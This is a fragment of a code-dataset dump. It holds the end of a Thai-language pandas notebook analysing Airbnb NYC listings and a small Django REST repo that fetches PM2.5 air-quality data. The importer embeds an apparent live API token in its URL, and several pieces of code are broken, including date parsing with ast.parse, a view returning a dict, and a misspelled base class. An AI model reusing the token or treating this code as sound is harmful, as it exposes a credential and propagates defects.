In[353]:\\n\\n\\nbnb = pd.read_csv('../Desktop/DataCamp/AB_NYC_2019.csv')\\nbnb.head()\\n\\n\\n# In[463]:\\n\\n\\nbnb.info()\\n\\n\\n# 2. สุ่มอ่านข้อมูล 10 แถว หัว 5 แถว และท้าย 10 แถว\\n\\n# In[354]:\\n\\n\\nbnb.sample(10)\\n\\n\\n# In[355]:\\n\\n\\nbnb.head(5)\\n\\n\\n# In[356]:\\n\\n\\nbnb.tail(10)\\n\\n\\n# 3. หา Top 10 Neighbourhood ยอดฮิต พร้อมระบุจำนวน\\n\\n# In[466]:\\n\\n\\ncountNeighbourhood = bnb['neighbourhood'].value_counts()\\ncountNeighbourhood = pd.DataFrame(countNeighbourhood)\\ncountNeighbourhood = countNeighbourhood.rename(columns = {'neighbourhood':'count'})\\ncountNeighbourhood.head()\\n\\n\\n# 4. หา Bottom 10 Neighbourhood ยอดฮิต พร้อมระบุจำนวน\\n\\n# In[491]:\\n\\n\\ncountNeighbourhood = bnb.groupby('neighbourhood').size().reset_index(name = 'count').sort_values('count')[::-1]\\ncountNeighbourhood.tail(10)\\n\\n\\n# 5. หา Top 10 Neighbourhood Group ยอดฮิต พร้อมระบุจำนวน\\n\\n# In[359]:\\n\\n\\ncountNeighbourhoodGroup = bnb['neighbourhood_group'].value_counts()\\ncountNeighbourhoodGroup.head(10)\\n\\n\\n# 6. หา Bottom 10 Neighbourhood Group ยอดฮิต พร้อมระบุจำนวน\\n\\n# In[360]:\\n\\n\\ncountNeighbourhoodGroup = bnb['neighbourhood_group'].value_counts()\\ncountNeighbourhoodGroup.tail(10)\\n\\n\\n# 7. หาค่าเฉลี่ยราคาของพื้นที่ และเขต\\n\\n# In[361]:\\n\\n\\ngroupby_neighbourhood_group = bnb.groupby('neighbourhood_group').mean()\\ngroupby_neighbourhood_group['price'] #bnb.groupby('neighbourhood_group').mean()['price'] \\n\\n\\n# In[497]:\\n\\n\\ngroupby_neighbourhood = bnb.groupby('neighbourhood').mean().reset_index()[['neighbourhood','price']].sort_values('price')[::-1]\\ngroupby_neighbourhood\\n\\n\\n# 8. จงหาว่าห้องประเภทใดมีราคาเฉลี่ยมากที่สุด\\n\\n# In[363]:\\n\\n\\ngroupby_roomtype = bnb.groupby('room_type').mean()\\ngroupby_roomtype['price']\\n\\n\\n# 9. จงหาว่าพื้นที่ใดมีข้อมูลพื้นที่อยู่แค่หน่วยเดียว\\n\\n# In[364]:\\n\\n\\ncountNeighbourhood[countNeighbourhood ==1]\\n\\n\\n# 10. จงหาว่าที่พักแบบใดมีการให้บริการมากที่สุด และมากเท่าใด\\n\\n# In[505]:\\n\\n\\nroom_type = bnb['room_type'].value_counts()\\nroom_type = pd.DataFrame(room_type)\\nroom_type = room_type.rename(columns = {'room_type':'count'})\\nroom_type\\n\\n\\n# 11. จงหาว่าพื้นที่ใดมีจำนวนรีวิวมากที่สุด และ เขตใดมีจำนวนรีวิวมากที่สุด\\n\\n# In[513]:\\n\\n\\nbnb.groupby('neighbourhood').sum().sort_values('number_of_reviews')[::-1].head(1)\\n\\n\\n# In[515]:\\n\\n\\nbnb.groupby('neighbourhood_group').sum().sort_values('number_of_reviews')[::-1].head(1)\\n\\n\\n# 12. จงหา Top 3 จำนวน Minimum Nights ที่มีเขตไม่ซ้ำกัน\\n\\n# In[520]:\\n\\n\\nbnb.sort_values('minimum_nights')[::-1].drop_duplicates('neighbourhood_group').head(3)\\n\\n\\n# 13. จงหาชื่อ Host ที่ลิสที่อยู่มากที่สุด 10 อันดับแรก (Hint: ใช้ชื่อไม่ได้)\\n\\n# In[543]:\\n\\n\\nhost = bnb.sort_values('calculated_host_listings_count')[::-1] .drop_duplicates('calculated_host_listings_count') .head(10)\\nhost[['host_id','host_name','calculated_host_listings_count']] \\n\\n\\n# 14. จงหาชื่อ Host ที่มีชื่อซ้ำกันมากที่สุด 10 ชื่อ (โดยที่ไม่ใช้คนเดียวกัน)\\n\\n# In[563]:\\n\\n\\nhost = bnb.sort_values('host_id')[::-1] .drop_duplicates('host_id')\\nhost_duplicate = host['host_name'].value_counts()\\nhost_duplicate[host_duplicate>1].head(10)\\n\\n\\n# 15. จงหาชื่อ Host ที่มีรีวิวมากที่สุด 10 อันดับแรก\\n\\n# In[567]:\\n\\n\\nbnb.groupby(['host_id','host_name'],as_index = False).sum().sort_values('number_of_reviews')[::-1].head(10)\\n\\n\\n# 16. จงหาชื่อ Host ที่มีการลิสที่อยู่ที่มีราคาเฉลี่ยสูงที่สุด 10 อันดับแรก\\n\\n# In[574]:\\n\\n\\nbnb.groupby(['host_id','host_name'],as_index = False).mean().sort_values('price')[::-1].head(10)\\n\\n\\n# 17. จงเพิ่ม 2 คอลัมน์ชื่อ Year และ Month จาก last review ต่อท้าย โดยใช้ข้อมูลจากคอลัมน์ last_review (Hint: ใช้ lambda)\\n\\n# In[576]:\\n\\n\\nbnb.head()\\n\\n\\n# In[588]:\\n\\n\\nbnb2 = bnb.dropna()\\nbnb2[['Year','Month','Date']] = bnb2.last_review.str.split(\\\"-\\\",expand=True)\\nbnb2.head()\\n\\n\\n# 18. สร้าง column ใหม่ โดยให้บรรจุ Time of the week (วันจันทร์ อังคาร....) โดยใช้ข้อมูลจาก last_review (Hint: ใช้ timestamp เข้ามาช่วย) \\n\\n# In[699]:\\n\\n\\nday_of_week = {0:'Mon',1:'Tue', 2:'Wed', 3:'Thur', 4:'Fri', 5:'Sat',6:'Sun'}\\nbnb2['last_review'] = pd.to_datetime(bnb2['last_review'])\\nbnb2['day_of_week'] = bnb2['last_review'].apply(lambda time: time.dayofweek)\\nbnb2['day_of_week'] = bnb2['day_of_week'].map(day_of_week)\\nbnb2_day = bnb2.drop('day of week',axis = 1)\\nbnb2_day.head()\\n\\n\\n# 19. สร้าง Count Plot นับข้อมูลประเภทของที่อยู่อาศัย\\n\\n# In[598]:\\n\\n\\nfig = plt.figure(figsize = (12,8))\\nsns.countplot(data = bnb, x = 'room_type')\\nfig.show()\\n\\n\\n# 20. สร้าง Pie Chart หาพื้นที่ ที่มีที่อยู่อาศัยเยอะที่สุด 5 อันดับแรก\\n\\n# In[377]:\\n\\n\\nTop5Areas = bnb.groupby('neighbourhood').count().sort_values('id')[::-1].head(5)\\nTop5Areas\\n\\n\\n# In[378]:\\n\\n\\nfig = px.pie(Top5Areas, values = 'id', names = Top5Areas.index)\\nfig.show()\\n\\n\\n# 21. สร้าง Box Plot โดยให้แกน X เป็น เขต และ Y เป็นจำนวนรีวิว\\n\\n# In[685]:\\n\\n\\nfig = plt.figure(figsize = (25,10))\\nfig = sns.boxplot(data = bnb, x = 'neighbourhood_group',y = 'number_of_reviews')\\nfig.set(ylim = (0,80))\\n\\n\\n# 22. สร้าง HeatMap จาก Correlation ของ DataFrame และพิจารณาดูความสัมพันธ์ พร้อมกับนำความสัมพันธ์ที่เป็น Strongest Positive มาทำ Scatter Plot\\n\\n# In[604]:\\n\\n\\nbnb_corr = bnb.corr()\\nbnb_corr\\n\\n\\n# In[611]:\\n\\n\\nfig = plt.figure(figsize = (15,15))\\nsns.heatmap(bnb_corr, annot = True)\\n\\n\\n# In[614]:\\n\\n\\nfig = plt.figure(figsize = (12,10))\\nsns.scatterplot(data = bnb, x = 'reviews_per_month',y = 'number_of_reviews')\\nfig.show()\\n\\n\\n# 23. สร้าง Bar plot หาจำนวน Last review ของแต่ละเดือนของปี 2018 (change from count plot to bar plot)\\n\\n# In[701]:\\n\\n\\nbnb3 = bnb2_day.groupby(['Year','Month'], as_index = False).sum()\\nbnb4 = bnb3[bnb3['Year'] == '2018']\\nbnb4\\n\\n\\n# In[686]:\\n\\n\\nfig = plt.figure(figsize = (12,10))\\nsns.barplot(data = bnb4, x = 'Month', y = 'number_of_reviews')\\nfig.show()\\n\\n\\n# 24. สร้าง Pie Chart หาอัตราส่วน Last Review ในแต่ละวัน\\n\\n# In[700]:\\n\\n\\nfig = px.pie(bnb2_day , values = 'number_of_reviews', names = 'day_of_week')\\nfig.show()\\n\\n\\n# 25. สร้าง Line Graph หาราคาเฉลี่ยในแต่ละเดือนของ Last Review ในปี 2019\\n\\n# In[702]:\\n\\n\\nbnb5 = bnb2_day.groupby(['Year','Month'], as_index = False).mean()\\nbnb6 = bnb5[bnb5['Year'] == '2019']\\nbnb6 #vdo is wrong no 2019 \\n\\n\\n# In[707]:\\n\\n\\npx.line(bnb6 , x = 'Month',y = 'price')\\n\\n\\n# 26. สร้าง Column ใหม่ โดยคำนวณ ณ เวลาปัจจุบันถึงวันที่ Last Review ห่างกันกี่วัน (Hint: ใช้ datetime ปัจจุบัน - datetime last review)\\n\\n# In[713]:\\n\\n\\nimport datetime\\ntoday = datetime.datetime.today()\\ntoday \\n\\n\\n# In[717]:\\n\\n\\nbnb2_day['diff']= bnb2_day['last_review'].apply(lambda past: (today - past).days)\\nbnb2_day.head()\\n\\n\\n# 27. สร้าง Pie Chart ของระยะห่างของเวลา ระหว่างปัจจุบันถึง Last review เฉลี่ย ของแต่ละเขต (หน่วยเป็นวัน)\\n\\n# In[720]:\\n\\n\\nbnb7 = bnb2_day.groupby('neighbourhood_group', as_index = False).mean()\\nbnb7\\n\\n\\n# In[721]:\\n\\n\\nfig = px.pie(bnb7 , values = 'diff', names = 'neighbourhood_group')\\nfig.show()\\n\\n\\n# 28. สร้าง Bar Plot ของระยะห่างของเวลา ระหว่างปัจจุบันถึง Last review เฉลี่ย ของแต่ละพื้นที่ 10 พื้นที่แรกที่มีระยะเวลามากที่สุด (หน่วยเป็นวัน)\\n\\n# In[724]:\\n\\n\\nbnb8 = bnb2_day.groupby('neighbourhood', as_index = False).mean().sort_values('diff')[::-1].head(10)\\nbnb8.head()\\n\\n\\n# In[727]:\\n\\n\\nfig = plt.figure(figsize = (23,10))\\nsns.barplot(data = bnb8, x = 'neighbourhood', y = 'diff')\\nfig.show()\\n\\n\\n# 29. สร้าง Bar Plot ของค่าเฉลี่ยระยะเวลาห่างระหว่างปัจจุบันถึง Last review เฉลี่ย ของแต่ละพื้นที่ 10 พื้นที่แรกที่มีระยะเวลาน้อยที่สุด \\n\\n# In[728]:\\n\\n\\nbnb9 = bnb2_day.groupby('neighbourhood', as_index = False).mean().sort_values('diff')[::-1].tail(10)\\nbnb9.head()\\n\\n\\n# In[729]:\\n\\n\\nfig = plt.figure(figsize = (23,10))\\nsns.barplot(data = bnb9, x = 'neighbourhood', y = 'diff')\\nfig.show()\\n\\n\\n# 30. สร้าง Scatter Plot หาความสัมพันธ์ระหว่าง ระยะเวลาห่างระหว่างปัจจุบันถึง Last review กับ Minimum Nights (Hint: Correlation)\\n\\n# In[730]:\\n\\n\\nfig = plt.figure(figsize = (15,15))\\nsns.heatmap(bnb_corr, annot = True)\\n\\n\\n# In[732]:\\n\\n\\nfig = plt.figure(figsize = (20,10))\\nsns.scatterplot(data = bnb2_day, x = 'diff',y = 'minimum_nights')\\nfig.show()\\n\\n\\n# In[733]:\\n\\n\\npx.scatter(bnb2_day, x = 'diff',y = 'minimum_nights')\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978377,"cells":{"repo_name":{"kind":"string","value":"kazoon-n/django-rest"},"repo_url":{"kind":"string","value":"https://github.com/kazoon-n/django-rest"},"snapshot_id":{"kind":"string","value":"d48fe9d527d80529426a3fc0f7bd967168d5a8b0"},"revision_id":{"kind":"string","value":"fd850eae30981d7f348b639c2335689a36294512"},"directory_id":{"kind":"string","value":"313424e91b5810d3110b9de161a3269b581d9211"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-12-24T01:53:03.371323","string":"2022-12-24T01:53:03.371323"},"revision_date":{"kind":"timestamp","value":"2019-02-23T10:30:14","string":"2019-02-23T10:30:14"},"committer_date":{"kind":"timestamp","value":"2019-02-23T10:30:14","string":"2019-02-23T10:30:14"},"github_id":{"kind":"number","value":172196366,"string":"172,196,366"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"timestamp","value":"2019-02-23T09:33:13","string":"2019-02-23T09:33:13"},"gha_updated_at":{"kind":"timestamp","value":"2019-02-23T10:30:16","string":"2019-02-23T10:30:16"},"gha_pushed_at":{"kind":"timestamp","value":"2022-12-08T01:38:07","string":"2022-12-08T01:38:07"},"gha_language":{"kind":"string","value":"Python"},"files":{"kind":"list like","value":[{"alpha_fraction":0.4979591965675354,"alphanum_fraction":0.7061224579811096,"avg_line_length":16.5,"blob_id":"922fa411552f1fec78a0ffe2e691293274f334dd","content_id":"aa51dbae80c7c62ebb69f69505dcc4debd9dcd17","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":245,"license_type":"no_license","max_line_length":26,"num_lines":14,"path":"/requirements-dev.txt","repo_name":"kazoon-n/django-rest","src_encoding":"UTF-8","text":"certifi==2018.11.29\nchardet==3.0.4\ndj-database-url==0.5.0\ndj-static==0.0.6\nDjango==2.1.5\ndjango-filter==2.0.0\ndjangorestframework==3.9.0\nidna==2.8\nMarkdown==3.0.1\npython-decouple==3.1\npytz==2018.9\nrequests==2.21.0\nstatic3==0.7.0\nurllib3==1.24.1\n"},{"alpha_fraction":0.49668875336647034,"alphanum_fraction":0.5496688485145569,"avg_line_length":25.2608699798584,"blob_id":"ea94d764fb7351e40b756ee355f87b9bbf7985d7","content_id":"6b61f47af797fe4c6a0f71066d1bbc758691e19b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":604,"license_type":"no_license","max_line_length":122,"num_lines":23,"path":"/core/migrations/0003_auto_20190112_0309.py","repo_name":"kazoon-n/django-rest","src_encoding":"UTF-8","text":"# Generated by Django 2.1.5 on 2019-01-12 03:09\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0002_auto_20190110_1720'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='customer',\n old_name='date_sheet',\n new_name='data_sheet',\n ),\n migrations.AlterField(\n model_name='document',\n name='dtype',\n field=models.CharField(choices=[('ID', 'Identity card'), ('OT', 'others'), ('PP', 'Passport')], max_length=2),\n ),\n ]\n"},{"alpha_fraction":0.7142857313156128,"alphanum_fraction":0.7582417726516724,"avg_line_length":17.200000762939453,"blob_id":"765c96779a0c06ec951d1bdf64657a99d6fe6697","content_id":"3f060b27d66b695b2a0e789a7fbf40045c31ece5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":91,"license_type":"no_license","max_line_length":33,"num_lines":5,"path":"/pm25main/apps.py","repo_name":"kazoon-n/django-rest","src_encoding":"UTF-8","text":"from django.apps import AppConfig\n\n\nclass Pm25MainConfig(AppConfig):\n name = 'pm25main'\n"},{"alpha_fraction":0.5118694305419922,"alphanum_fraction":0.562314510345459,"avg_line_length":27.08333396911621,"blob_id":"e40179c63a62889d56fed80d4d6ffed5a369424b","content_id":"76a17a5b9b072a50a6b9e2f29534f97a9679ed28","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":674,"license_type":"no_license","max_line_length":122,"num_lines":24,"path":"/core/migrations/0008_auto_20190128_1554.py","repo_name":"kazoon-n/django-rest","src_encoding":"UTF-8","text":"# Generated by Django 2.1.5 on 2019-01-28 15:54\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0007_auto_20190115_1713'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='customer',\n name='doc',\n field=models.CharField(default='testdoc', max_length=12, unique=True),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='document',\n name='dtype',\n field=models.CharField(choices=[('ID', 'Identity card'), ('PP', 'Passport'), ('OT', 'others')], max_length=2),\n ),\n ]\n"},{"alpha_fraction":0.703125,"alphanum_fraction":0.703125,"avg_line_length":20.33333396911621,"blob_id":"53a671479fc0b62e0f5763778f73ffc789addb6b","content_id":"d34b4e9fd0e6d39cc43bb024a8a4890327ac068b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":128,"license_type":"no_license","max_line_length":59,"num_lines":6,"path":"/importer/urls.py","repo_name":"kazoon-n/django-rest","src_encoding":"UTF-8","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('execute/', views.call_importer, name=\"importer\"),\n]\n"},{"alpha_fraction":0.6164153814315796,"alphanum_fraction":0.6359575390815735,"avg_line_length":27.41269874572754,"blob_id":"763c62d0182bafe5bbafa29db2c4633c4510a1ad","content_id":"108a9649acbbf177844e5ce5675f1dd90def0f73","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1791,"license_type":"no_license","max_line_length":101,"num_lines":63,"path":"/importer/views.py","repo_name":"kazoon-n/django-rest","src_encoding":"UTF-8","text":"import logging\nfrom ast import parse\n\nimport requests\nfrom django.core.management import BaseCommand\n\n# Create your views here.\nfrom django.shortcuts import render\nfrom django.template.base import logger\nfrom rest_framework.utils import json\n\nlogger = logging.getLogger(\"command\")\n\nAPI_END_POINT = (\"https://api.waqi.info/feed/{city}/?token=f8c14b8df33312a1d1842fe35e360768f958f4c0\")\n\n\ndef aquire_pm25_data_from_api(city: str):\n\n request_url = API_END_POINT.format(\n city=city,\n )\n res = requests.get(request_url)\n res.raise_for_status()\n row_data = json.loads(res.content)[\"data\"]\n\n logger.info(\"Finish importing data of PM2.5\")\n\n return row_data\n\n\ndef call_importer(request):\n city = request.GET[\"city\"]\n\n res = aquire_pm25_data_from_api(city)\n\n return res\n\n\nclass Command(BaseCommand):\n def add_arguments(self, parser):\n parser.add_argument(\"--from_date\", default=None)\n parser.add_argument(\"--to_date\", default=None)\n parser.add_argument(\"--city\", default='bangkok')\n\n def handle(self, *args, **options):\n from_date = options.get(\"from_date\")\n to_date = options.get(\"to_date\")\n city = options.get(\"city\")\n\n if from_date is not None:\n try:\n from_date = parse(from_date)\n except (ValueError, OverflowError) as e:\n raise ValueError(\"The format of the from_date is wrong: %s.\" % e)\n\n if to_date is not None:\n try:\n to_date = parse(to_date)\n except (ValueError, OverflowError) as e:\n raise ValueError(\"The format of the to_date is wrong: %s.\" % e)\n logger.info(\"start: update exchange rate\")\n aquire_pm25_data_from_api(city)\n logger.info(\"end: update exchange rate\")\n\n"},{"alpha_fraction":0.5490196347236633,"alphanum_fraction":0.593837559223175,"avg_line_length":28.75,"blob_id":"a66bea2f6ecdbeec545ed8aacb0fb40622d75d96","content_id":"f21a3c9388fb43f458464898ae86ac0a2223b067","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":714,"license_type":"no_license","max_line_length":122,"num_lines":24,"path":"/core/migrations/0011_auto_20190217_0908.py","repo_name":"kazoon-n/django-rest","src_encoding":"UTF-8","text":"# Generated by Django 2.1.5 on 2019-02-17 09:08\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0010_auto_20190217_0814'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='customer',\n name='data_sheet',\n field=models.OneToOneField(null=True, on_delete=django.db.models.deletion.CASCADE, to='core.DataSheet'),\n ),\n migrations.AlterField(\n model_name='document',\n name='dtype',\n field=models.CharField(choices=[('ID', 'Identity card'), ('OT', 'others'), ('PP', 'Passport')], max_length=2),\n ),\n ]\n"},{"alpha_fraction":0.7922077775001526,"alphanum_fraction":0.8051947951316833,"avg_line_length":18.375,"blob_id":"63141529cb6cdf29544d201df5fbf388ed4a5293","content_id":"6d5b86e50b565cc9e9322e3b02eb23d7b67b6dab","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":154,"license_type":"no_license","max_line_length":44,"num_lines":8,"path":"/pm25main/views.py","repo_name":"kazoon-n/django-rest","src_encoding":"UTF-8","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom rest_framework import viewsets\n\n\nclass Pm25GetViewSet(viewsets.ModelViewset):\n pass"}],"string":"[\n {\n \"alpha_fraction\": 0.4979591965675354,\n \"alphanum_fraction\": 0.7061224579811096,\n \"avg_line_length\": 16.5,\n \"blob_id\": \"922fa411552f1fec78a0ffe2e691293274f334dd\",\n \"content_id\": \"aa51dbae80c7c62ebb69f69505dcc4debd9dcd17\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 245,\n \"license_type\": \"no_license\",\n \"max_line_length\": 26,\n \"num_lines\": 14,\n \"path\": \"/requirements-dev.txt\",\n \"repo_name\": \"kazoon-n/django-rest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"certifi==2018.11.29\\nchardet==3.0.4\\ndj-database-url==0.5.0\\ndj-static==0.0.6\\nDjango==2.1.5\\ndjango-filter==2.0.0\\ndjangorestframework==3.9.0\\nidna==2.8\\nMarkdown==3.0.1\\npython-decouple==3.1\\npytz==2018.9\\nrequests==2.21.0\\nstatic3==0.7.0\\nurllib3==1.24.1\\n\"\n },\n {\n \"alpha_fraction\": 0.49668875336647034,\n \"alphanum_fraction\": 0.5496688485145569,\n \"avg_line_length\": 25.2608699798584,\n \"blob_id\": \"ea94d764fb7351e40b756ee355f87b9bbf7985d7\",\n \"content_id\": \"6b61f47af797fe4c6a0f71066d1bbc758691e19b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 604,\n \"license_type\": \"no_license\",\n \"max_line_length\": 122,\n \"num_lines\": 23,\n \"path\": \"/core/migrations/0003_auto_20190112_0309.py\",\n \"repo_name\": \"kazoon-n/django-rest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 2.1.5 on 2019-01-12 03:09\\n\\nfrom django.db import migrations, models\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('core', '0002_auto_20190110_1720'),\\n ]\\n\\n operations = [\\n migrations.RenameField(\\n model_name='customer',\\n old_name='date_sheet',\\n new_name='data_sheet',\\n ),\\n migrations.AlterField(\\n model_name='document',\\n name='dtype',\\n field=models.CharField(choices=[('ID', 'Identity card'), ('OT', 'others'), ('PP', 'Passport')], max_length=2),\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.7142857313156128,\n \"alphanum_fraction\": 0.7582417726516724,\n \"avg_line_length\": 17.200000762939453,\n \"blob_id\": \"765c96779a0c06ec951d1bdf64657a99d6fe6697\",\n \"content_id\": \"3f060b27d66b695b2a0e789a7fbf40045c31ece5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 91,\n \"license_type\": \"no_license\",\n \"max_line_length\": 33,\n \"num_lines\": 5,\n \"path\": \"/pm25main/apps.py\",\n \"repo_name\": \"kazoon-n/django-rest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.apps import AppConfig\\n\\n\\nclass Pm25MainConfig(AppConfig):\\n name = 'pm25main'\\n\"\n },\n {\n \"alpha_fraction\": 0.5118694305419922,\n \"alphanum_fraction\": 0.562314510345459,\n \"avg_line_length\": 27.08333396911621,\n \"blob_id\": \"e40179c63a62889d56fed80d4d6ffed5a369424b\",\n \"content_id\": \"76a17a5b9b072a50a6b9e2f29534f97a9679ed28\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 674,\n \"license_type\": \"no_license\",\n \"max_line_length\": 122,\n \"num_lines\": 24,\n \"path\": \"/core/migrations/0008_auto_20190128_1554.py\",\n \"repo_name\": \"kazoon-n/django-rest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 2.1.5 on 2019-01-28 15:54\\n\\nfrom django.db import migrations, models\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('core', '0007_auto_20190115_1713'),\\n ]\\n\\n operations = [\\n migrations.AddField(\\n model_name='customer',\\n name='doc',\\n field=models.CharField(default='testdoc', max_length=12, unique=True),\\n preserve_default=False,\\n ),\\n migrations.AlterField(\\n model_name='document',\\n name='dtype',\\n field=models.CharField(choices=[('ID', 'Identity card'), ('PP', 'Passport'), ('OT', 'others')], max_length=2),\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.703125,\n \"alphanum_fraction\": 0.703125,\n \"avg_line_length\": 20.33333396911621,\n \"blob_id\": \"53a671479fc0b62e0f5763778f73ffc789addb6b\",\n \"content_id\": \"d34b4e9fd0e6d39cc43bb024a8a4890327ac068b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 128,\n \"license_type\": \"no_license\",\n \"max_line_length\": 59,\n \"num_lines\": 6,\n \"path\": \"/importer/urls.py\",\n \"repo_name\": \"kazoon-n/django-rest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.urls import path\\nfrom . import views\\n\\nurlpatterns = [\\n path('execute/', views.call_importer, name=\\\"importer\\\"),\\n]\\n\"\n },\n {\n \"alpha_fraction\": 0.6164153814315796,\n \"alphanum_fraction\": 0.6359575390815735,\n \"avg_line_length\": 27.41269874572754,\n \"blob_id\": \"763c62d0182bafe5bbafa29db2c4633c4510a1ad\",\n \"content_id\": \"108a9649acbbf177844e5ce5675f1dd90def0f73\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1791,\n \"license_type\": \"no_license\",\n \"max_line_length\": 101,\n \"num_lines\": 63,\n \"path\": \"/importer/views.py\",\n \"repo_name\": \"kazoon-n/django-rest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import logging\\nfrom ast import parse\\n\\nimport requests\\nfrom django.core.management import BaseCommand\\n\\n# Create your views here.\\nfrom django.shortcuts import render\\nfrom django.template.base import logger\\nfrom rest_framework.utils import json\\n\\nlogger = logging.getLogger(\\\"command\\\")\\n\\nAPI_END_POINT = (\\\"https://api.waqi.info/feed/{city}/?token=f8c14b8df33312a1d1842fe35e360768f958f4c0\\\")\\n\\n\\ndef aquire_pm25_data_from_api(city: str):\\n\\n request_url = API_END_POINT.format(\\n city=city,\\n )\\n res = requests.get(request_url)\\n res.raise_for_status()\\n row_data = json.loads(res.content)[\\\"data\\\"]\\n\\n logger.info(\\\"Finish importing data of PM2.5\\\")\\n\\n return row_data\\n\\n\\ndef call_importer(request):\\n city = request.GET[\\\"city\\\"]\\n\\n res = aquire_pm25_data_from_api(city)\\n\\n return res\\n\\n\\nclass Command(BaseCommand):\\n def add_arguments(self, parser):\\n parser.add_argument(\\\"--from_date\\\", default=None)\\n parser.add_argument(\\\"--to_date\\\", default=None)\\n parser.add_argument(\\\"--city\\\", default='bangkok')\\n\\n def handle(self, *args, **options):\\n from_date = options.get(\\\"from_date\\\")\\n to_date = options.get(\\\"to_date\\\")\\n city = options.get(\\\"city\\\")\\n\\n if from_date is not None:\\n try:\\n from_date = parse(from_date)\\n except (ValueError, OverflowError) as e:\\n raise ValueError(\\\"The format of the from_date is wrong: %s.\\\" % e)\\n\\n if to_date is not None:\\n try:\\n to_date = parse(to_date)\\n except (ValueError, OverflowError) as e:\\n raise ValueError(\\\"The format of the to_date is wrong: %s.\\\" % e)\\n logger.info(\\\"start: update exchange rate\\\")\\n aquire_pm25_data_from_api(city)\\n logger.info(\\\"end: update exchange rate\\\")\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5490196347236633,\n \"alphanum_fraction\": 0.593837559223175,\n \"avg_line_length\": 28.75,\n \"blob_id\": \"a66bea2f6ecdbeec545ed8aacb0fb40622d75d96\",\n \"content_id\": \"f21a3c9388fb43f458464898ae86ac0a2223b067\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 714,\n \"license_type\": \"no_license\",\n \"max_line_length\": 122,\n \"num_lines\": 24,\n \"path\": \"/core/migrations/0011_auto_20190217_0908.py\",\n \"repo_name\": \"kazoon-n/django-rest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 2.1.5 on 2019-02-17 09:08\\n\\nfrom django.db import migrations, models\\nimport django.db.models.deletion\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('core', '0010_auto_20190217_0814'),\\n ]\\n\\n operations = [\\n migrations.AlterField(\\n model_name='customer',\\n name='data_sheet',\\n field=models.OneToOneField(null=True, on_delete=django.db.models.deletion.CASCADE, to='core.DataSheet'),\\n ),\\n migrations.AlterField(\\n model_name='document',\\n name='dtype',\\n field=models.CharField(choices=[('ID', 'Identity card'), ('OT', 'others'), ('PP', 'Passport')], max_length=2),\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.7922077775001526,\n \"alphanum_fraction\": 0.8051947951316833,\n \"avg_line_length\": 18.375,\n \"blob_id\": \"63141529cb6cdf29544d201df5fbf388ed4a5293\",\n \"content_id\": \"6d5b86e50b565cc9e9322e3b02eb23d7b67b6dab\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 154,\n \"license_type\": \"no_license\",\n \"max_line_length\": 44,\n \"num_lines\": 8,\n \"path\": \"/pm25main/views.py\",\n \"repo_name\": \"kazoon-n/django-rest\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.shortcuts import render\\n\\n# Create your views here.\\nfrom rest_framework import viewsets\\n\\n\\nclass Pm25GetViewSet(viewsets.ModelViewset):\\n pass\"\n 